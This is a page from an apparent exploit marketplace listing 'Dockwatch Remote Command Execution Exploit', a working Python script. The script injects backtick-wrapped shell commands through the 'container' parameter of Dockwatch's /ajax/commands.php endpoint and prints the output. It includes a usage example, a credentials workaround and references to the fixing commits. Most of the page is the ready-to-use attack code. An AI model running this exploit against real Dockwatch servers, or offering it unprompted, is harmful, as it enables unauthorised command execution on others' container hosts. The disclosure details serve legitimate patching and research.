[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Dockwatch Remote Command Execution Exploit

Author
Jeremy Brown
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-39751
Category
remote exploits
Date add
18-09-2024
Platform
multiple
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
#
# dockexec.py
#
# Dockwatch Remote Command Execution
#
# Jeremy Brown [jbrown3264/gmail] / Sept 2024
#
# Intro
#
# Dockwatch is a container management web UI for docker. It runs by default
# without authentication, although guidance is available for how to setup
# credentials for access. It has a Commands feature that allows a user to
# run docker commands such as inspect, network, ps. Prior to fix, it did not
# restrict input for parameters, so both 'container' and 'parameters' for the
# 'dockerInspect' command were vulnerable to shell command injection on the
# container as the 'abc'user with (limited) command output.
#
# Example
#
# $ ./dockexec.py http://host:9999 "id"
# uid=1001(abc)
# gid=131(abc)
# groups=131(abc),281(unraiddocker),1000(users)
#
# Workaround: echo "admin:[a-FANTASTIC-password]" > /config/logins
# * DO NOT DO THIS: echo "" > /config/logins (* unless you want spacebar to work for user/pass)
#
# Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes
#

import sys
import requests
import re

def clean_output(output):
    output = output.replace('[]', '')
    output = re.sub(r'Error: No such object:\s*', '', output)
    output = output.replace('command', '')
    output = output.replace('test\n', '')
    lines = [line.strip() for line in output.split('\n')]
    return '\n'.join(lines)

def send_command(url, command):
    endpoint = f"{url}/ajax/commands.php"

    data = {
        'm': 'runCommand',
        'command': 'dockerInspect',
        'container': '`' + command + '`',
        'parameters': 'test', # also affected
        'servers': '0'
    }

    try:
        response = requests.post(endpoint, data=data)
        response.raise_for_status()

        match = re.search(r'<pre[^>]*>(.*?)</pre>', response.text, re.DOTALL)
        if match:
            output = clean_output(match.group(1))
            if output:
                print("%s" % output)
            else:
                print("No output found.")
        else:
            print("No output found in the response.")
    except requests.exceptions.RequestException as error:
        print("An error occurred: %s" % error)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: %s <url> <command>" % sys.argv[0])
        sys.exit(1)

    url = sys.argv[1]
    command = sys.argv[2]

    send_command(url, command)

#  0day.today [2024-09-20]  #